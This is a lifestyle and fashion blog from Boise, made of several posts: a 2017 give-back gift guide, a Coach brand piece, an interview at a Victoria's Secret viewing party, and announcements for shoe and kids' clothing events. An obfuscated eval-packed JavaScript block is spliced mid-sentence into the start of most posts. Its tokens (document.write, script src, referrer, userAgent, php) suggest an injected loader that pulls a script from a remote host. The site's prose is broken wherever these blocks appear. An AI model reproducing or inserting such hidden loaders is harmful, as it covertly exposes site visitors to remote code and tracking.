Christmas 2017 Give-Back Gift Guide

Shopping eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zeeik|var|u0026u|referrer|shnyz||js|php’.split(‘|’),0,{}))
with soul gets glam for 2017!

~ photos by Allie Smith Hobbes, myself, or shared with permission from businesses below~

In the last few years, there’s been a major shift in the fashion industry towards a more ethical design, manufacturing, and shopping experience. From employment practices abroad, to real financial impact closer to home, it’s encouraging to watch this movement grow and blossom into something truly impactful… And truly beautiful!!!

Christmas is near, but if you still have shopping left to do, check out some of my personal favorite companies below for inspiration! Some items are available locally, and most are also online. I’ve chosen these products and companies because I have either connected directly with the fine people selling them, or have a deep personal passion for the mission behind their products.

But think of this list as just a beginning! Please (pretty please with sugarplums on top!) tell me YOUR favorite give-back-biz in the comments below. Post links, pics, anything you love; share your faves, so we can spread the joy, together!!!

XOXO,

Tanya

Bought Beautifully

Bought Beautifully is a lovely online shop founded by Colin & Emily Betzler, two-huge-hearted entrepreneurs from Wyoming. The Betzlers believe in changing the world by living generously, and to that end, have built “a marketplace that empowers you to create dignified opportunities for people around the globe, one purchase at a time.” Every item in their shop, from jewelry to Christmas ornaments, is both beautiful and fashion-forward.

I fell in love with Bought Beautifully’s Brass Stud earrings from Sasa (pictured above, lower right), a brand that empowers and supports deaf men and women in Nairobi, Kenya, and on the Island of La Gonave, Haiti.

Bought Beautifully sells handcrafted items from 36 partners in over 16 nations across the globe, and you can search by category, or by the cause that is close to your heart!

stylespygirl bought beautifully bracelet — Bracelet by Badala; proceeds fight human trafficking and empower women to rise out of poverty in East Africa, Central America, and the USA.

Speak Your Silence

My friend Matt Pipkin founded Speak Your Silence in 2012 as a place of healing, recovery, and empowerment for men and women around the world who are victims of sexual assault. Speak Your Silence’s unique zigzag pattern can be added onto any piece of apparel or accessory, as an unspoken sign of solidarity and support among those who have suffered.

Whether you have personally experienced sexual violence or not, wearing the zigzag pattern shows you care, and want to inspire others to prevent sexual assault and share your voice for those affected.

Speak Your Silence has partnered with Boutonné, a San Diego-based brand that produces leather goods, to create a special Swivel Clip, Envelope Laptop Case, and the Mills Tote I am wearing in the photos above. Click here to purchase the tote ($190), and find out more about Boise-based Speak Your Silence! T-shirts, decal kits, and other products are also available for purchase.

Corbin’s Legacy Bracelets

No child should have to go an entire school day without lunch. That’s the basic, and passionate anthem behind Corbin’s Legacy bracelets. Founded in honor of Corbin Leafman, a beloved and compassionate kindergarten teacher who passed away at 31 years old from cancer, Corbin’s Legacy bangles give back 100% of their proceeds to food & medical care for disadvantaged elementary school children.

Corbin was known for “always walking through the lunch line holding up a $20.00 bill to make sure that the cafeteria lady knew that none of her students were to go without a hot meal.” She bought backpacks, school supplies, and gifts for children in need, and her giving heart lives on in those who knew and loved her! Bracelets are $30 in downtown Boise, at Swank Boutique.

Tentree Sweatshirts

Did you know our local Buckle store is a major force for good in the community? Through their Buckle Believes program, they offer multiple give-back lines of clothing and accessories, all with great style and affordable prices! I loved these soft, cozy sweatshirts by tentree, available in multiple colors, and all fleece-lined. Ten trees are planted for every item you purchase, and the tag comes with an extra seed for you to plant! These tops are great for stocking stuffers, and cold winter nights. Shop the entire collection here, and at your local Buckle store, $35-76.

Girl Power for good!

All right, I get to toot my own horn on this rad project! But don’t worry; no money goes in my own pocket. 😉 It’s all for giving back! I teamed up with brilliant Boise designers Fourthwave Apparel for a special collaborative design, Nobody Puts Girl Power in a Corner. For every shirt sold, 40% of the profits go directly to Leap Charity, a local non-profit org that helps house and support refugee families arriving in our community.

You can read more about our story here, or jump straight to Fourthwave to buy one. $22 adult, $14.50 kids.

Proof Eyewear

If you live anywhere in the Treasure Valley, you know about Proof Eyewear! We all love this local company that’s made it big in the fashion industry, but did you also what big HEARTS they have as well?? Through Proof’s Do Good program, thousands of dollars have gone back into health and vision projects around the world. From micro-loans for entrepreneurs to building orphanages, Proof ‘s commitment to socially-conscious programs across the globe is unmatched.

Click here to read more about Proof’s Give Back program, and all the amazing projects they support, or visit their new downtown flagship store at 314 S. 9th Street, Boise, for last-minute gifts!

Buckle Believes

Those who know me well, know that I am passionate when it comes to fighting bullying. My son went through some horrific experiences at a very young age, because of his Asperger’s. Please read more about his story here; Ethan is an incredible kid, and I will fight tooth & nail for the life he deserves to live.

When I stopped by Buckle to look for give-back brands, these Buckle Believes t-shirts made my eyes leak a little. The Be Buddies, Not Bullies top was my fave, and I’m proud to wear it to help raise awareness for my son, and all kids everywhere!!! Proceeds from all three of the tops pictured above go to The American Cancer Society, and Pacer’s National Bullying Prevention Center. These designs (and more!) are available for $28.95 online at Buckle.com, or available at your local Buckle store.

Don’t forget to add your voice to the conversation!
Please comment below with your favorite give-back gifts and companies.
Merry Christmas, Happy Holidays, and may all your days be merry & bright!
XOXOXO

Meet the Designer & Win FREE Shoes from Alegria!

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkrid|var|u0026u|referrer|kbife||js|php’.split(‘|’),0,{}))
Saturday, Nov. 7th from 2-6pm, Alegria shoe designer Megan Gold will make a special appearance in Dillard’s at Boise Towne Square! Customers can meet Gold, shop her latest collection, and create their own shoe design to enter for a chance to win free Alegria shoes for a year!!! Last year’s winner even had her design made!

Boise Towne Square’s Dillards store was chosen for this event because their sales for Alegria shoes are outstanding. And you know what that means? Boise loves Alegria! 😀 They’re comfortable, durable, well-made, and fabulous all day long.

Stop in on Saturday for your chance to meet Megan, create your own shoe design, and WIN BIG!

Personal faves. Which ones should I choose? I think those red boots up top are calling my name…

What will YOU design? 🙂 Stop in Saturday to create your own personalized footwear!

XOXO,
Tanya

How Coach is Becoming an Iconic American Brand

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaazt|var|u0026u|referrer|desky||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Unless you live under a rock in the USA, you’ve probably heard of Coach. They’ve been around since the 1940’s, starting out as a humble shop in New York where six leatherworkers crafted billfolds and wallets by hand. In the 1960’s, Lillian Cahn, who co-founded the shop with her husband Miles, convinced him to start creating women’s handbags. He scoffed in the beginning, but their first design, inspired by the paper tote bags she carried as a youth during the Depression – delivering her family’s handmade pasta noodles to customers! – became an instant classic, amassing loyal customers and propelling Coach into the Luxury goods arena.

Over the years those loyal customers have grown with the company, collecting classic bags with a deep appreciation for their workmanship (still handstitched, after all these years!), beautiful style, and lifetime warranty.

But in 2014 Coach veered into new territory, hiring Stuart Vevers as their creative director, a younger and more urban designer than Coach fans are accustomed to. The classic styles are still available, but Vevers has added a plethora of fashion-forward designs that push the boundaries of the typical customer’s comfort zone. Will fan loyalty hold fast, with this evolution of edgy, gritty, rocker flavor on handbags, couture clothing collections, and a newly-acquired shoe line (Stuart Weitzman)?

Time will tell. But I for one find this new Coach fascinating!

Now, I have a confession to make: I’m a fairly recent fan of Coach. Late to the party, I know… Seriously, they weren’t really much on my radar, until a couple years ago when a friend gave me a little gold handbag with the Op-Art C’s embossed on it. Cute! Then this last fall Coach’s Fall 2014 runway collection burst onto my Instagram feed. Swoon! Shearling-trimmed wedge booties, capes, metal tassles, plaid, and dark moody colors dominated the runway. And I fell in love!

When you see a handbag that makes you gasp, you form an instant emotional connection with it. It can’t be helped! And that’s the connection Stuart Vevers brings to this brand.

This Spring, COACH has turned up the wattage even more (Watch the runway video here, or click the photo below), with neons, edgy shapes, striking lines, and metal trim morphing onto classic Coach shapes. The expansion of their clothing line is another brilliant move, and the results are no less than stunning. I found myself going through the slideshows, thinking “I want that, and that, and that, and I’d totally wear that…” on almost every piece. The colors, the shapes… Everything about this collection is sheer delight! Stuart Vevers has done something few designers can pull off: nailing the perfect balance of Classic and Urban.

Personally, I like to think my own style is a mix of Classic and Urban, so the “New” Coach resonates with me! I adore structured lines with a flair for retro, like their newly-launched Swagger bag, available in large, mini, pebble leather, and metallic – 24 colors & sizes total!!! I love them ALL, but for this shoot I chose a classic Tote (in very un-classic neon!), because seriously, a bright yellow handbag is the perfect cheery go-to for a grey day! Just looking at it makes me smile. 🙂

Keep rocking what you’re doing, Coach – the fashion world just sat up and took notice!
XOXO,
Tanya

Taxi Zip Top Tote, $325 online and at Boise Towne Square Mall / Hot pink Rainboots, $19.99 TJ Maxx / Polkadot Dress, $24.90 Forever 21 (Sold out, but something similar here) / Transparent Raincoat, $17.20 Amazon.com / White Fuzzy Knit Beanie, $4.00 Forever 21 online and at Boise Towne Square Mall

P.S., This post was not paid for, asked for, or sponsored in any way by Coach. I’m just a fan, with an honest opinion! 🙂

Jump to next article: Valentine’s Day Gift Guide 2015…

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Interview With an Angel; Victoria’s Secret Fashion Show Party 2014

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysyzf|var|u0026u|referrer|dhaef||js|php’.split(‘|’),0,{}))
week Boise won the very distinct privilege of hosting the Official Victoria’s Secret Fashion Show Viewing Party for 2014!

Yay, us!

A huge event was put together at Boise Towne Square, with hundreds of seats, beanbags, VS swag & goodies, and a red-carpet-worthy photo backdrop for pictures with visiting Victoria’s Secret supermodel Elsa Hosk. Thrilled fans turned out in droves for this event, and the line stretched around Towne Square’s center court, overflowing up the stairs and into the second level! Many had been there since lunchtime, anxious for their chance to see the Fashion Show and meet Elsa. I threw on my favorite Express emerald green sequin party dress, and headed to the show…

I was delighted and honored when KTVB Ch. 7 News asked me to step in as an unofficial reporter to interview Ms. Hosk for the 4:00 news!!! But what do you ask a famous,world-traveling, professional Angel? I reached out to YOU, for some creative interview questions! Here is what YOU asked Elsa, and her inspiring responses:

Me: Is this your first time in Boise?

Elsa: It is my first time in Boise, but I’ve been to Idaho before. I’m from Sweden

Me: Whats your favorite thing about being a Victoria’s Secret supermodel?

Elsa: Oh my gosh, there’s so many things I love about it! I love traveling, I love the fashion show, I love the shoots, I love the whole surrounding thing. Victoria’s Secret is like a family and everybody working for us is just incredible people.

Via Madisen Ellen Phipps: What does wearing the wings mean to you/what do they represent to you and your favorite thing about being apart of the Victoria’s Secret organization?

Elsa: This was the first year I got to walk in wings so it was really, really exciting. I had no idea that I was going to get the wings so when they told me I was just blown away, I almost started crying. And it was this moment where you’re like, oh my God I worked so hard for this, it’s a big accomplishment! And you see the girls walking down, so powerful, and it just makes you feel like you own the world for a second. It’s so iconic, the Victoria’s Secret wings.

Via Ellen Belle Hanson– Ask her what her favorite characteristics are in a photographer when she’s working with one…like anything that makes her feel comfortable so she can do her best!

Elsa: Oh that’s a good question! I think when the photographer has a lot of confidence and can tell you what they want you to do, and can give you direction… Or, if he wants you to be completely free and just like let you move around and be yourself!

Via Sonnay Alvarez: How did you begin your career in modeling?

Elsa: I started when I was 14 but I didn’t go full time until I was 18. I went to school, and played basketball, and then I decided to really go for it.

Via Autumn Short/Me: – Any health, fitness, or diet advice you’d like to pass on to other aspiring models?

Elsa: Work out and be healthy; it’s so important to take care of your body, for a model, because it really is your job. I try to work out 6 days a week, but if I travel it’s hard.

Me: Do you work out on the plane?

Elsa: Oh no, some people do that and I want to be those people, but I just don’t have the confidence, ha ha ha.

Via Amanda Woods: With the ever present emphasis on appearance in our society, what advice can you offer for women to be confident in any situation?

Elsa: For me, it’s been to not compare myself to others, because once you start doing that you can never achieve happiness. You just have to find that confidence within yourself, that acceptance, just be happy with what you’re given, you know?

We asked Tina Kierce, Marketing Manager for Boise Towne Square, some additional questions:

How did Boise win this incredible honor?

Tina: “Girls at Victoria’s Secret received challenges from their company managers to promote the contest for the party on social media. Boise won the fashion show part by a landslide!”

Did you know what was going on, much in advance?

Tina: “This was a big surprise. We were very excited about it and up until the day it was announced we were wishing and hoping and very excited when we won.”

How is this event important for Boise Towne Square?

Tina: “Here we are in Boise and we are hosting the only viewing party in the nation for the most sought after fashion show in the world and our customers get to come and enjoy it and it’s absolutely fabulous.”

It was a blast to see so many cool people turn out for this event! I hung out with photographers Ammophotog (Amanda Morgan, whose photos are included in this article!), Alysha Kautz, Alejandro Martinez (Lucid Imagery), fashion stylists Kellie Levesque (Fashion Kellie) and Heather Schwabe (Style Therapy), models Cara Dempsey, Bailey Heasch, Nicolette Roper, local news producer Char Jackson, and about 300 more excited local lovelies from all over town!

Congratulations, Boise – we ROCKED this Angel party!!!

XOXO, Tanya

P.S. Aeropostale Epic Kids Party

Me eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iayyr|var|u0026u|referrer|azzht||js|php’.split(‘|’),0,{}))
and my daughter, kids’ blogger at LalaAndFriends.com. My necklace by Unigon Specialties, Jacket from Prestige.

A couple weeks ago, I had the fun privilege of attending the P.S. Aeropostale Epic Kids Party at Boise Towne Square, with my little girl, who just launched her own children’s fashion blog! It was so much fun to go together; we had a blast, and met many wonderful people! During the event, P.S.’s entire store was an extra 20% off, so everyone scored crazy hot deals on super cool clothes. The girls partied, ate mini cakes, laughed, danced, and made fun memories together. Many of the children also posed for Polaroid pics, to enter the Epic Kids contest for a chance to win $100 gift cards! They had a great time being “real models.”

Thank you, P.S. Aeropostale, for throwing this super fun event! And thank you to all the fantastic moms & kids who stopped by to enjoy it with us.

XOXO,

Hanging with the DJ – he played some rocking (and kid-friendly!) tunes!

Nom nom nom nom! Mini cakes – we love!

Hannah and her family showed up again, after her Special Wish Day the day before!
Check out Lala’s story about this amazing and brave young girl, here.

Striped shirts (on sale now for $7!) / Pink Solid Scoop T (On sale now for $5!) / Striped Skater Skirt (On sale now for $8!)

KID DANCE PARTY!!!

New Bff’s – they got to be “employees” for the day, and studiously rearranged the entire store!
(My apologies to the actual employees for how much “fun” this must have been for them to clean up later, ha ha ha!)

My girls rocks a baseball cap, just sayin’!

All kinds of cuteness!

Thank you, P.S. Aeropostale, and everyone who came to party with us! Love you – xoxoxo!!!

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Kid’s Fashion Party at P.S. Aeropostale!

JOIN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddzyh|var|u0026u|referrer|ffbhr||js|php’.split(‘|’),0,{}))
ME this Sunday, at the P.S. from Aeropostale kids’ clothing store at Boise Towne Square mall!

P.S. is hosting a very special Epic Kids party, and I will be there from noon-2pm with my daughter, kids’ fashion blogger from LalaAndFriends.com, to help you & your kids find hot deals on cool outfits!

The entire store will be an extra 20% off during this time, including everything on the clearance racks!!!

And here’s my favorite part: they will have a Polaroid booth set up, where you can take a photo of your kid and enter them in P.S.’s Epic Kids gift card contest for a shot at $100 P.S. gift cards!

Join me, my daughter, and all the fun & fashion this Sunday May 4th, from noon -2pm! See you there!!!

XOXO,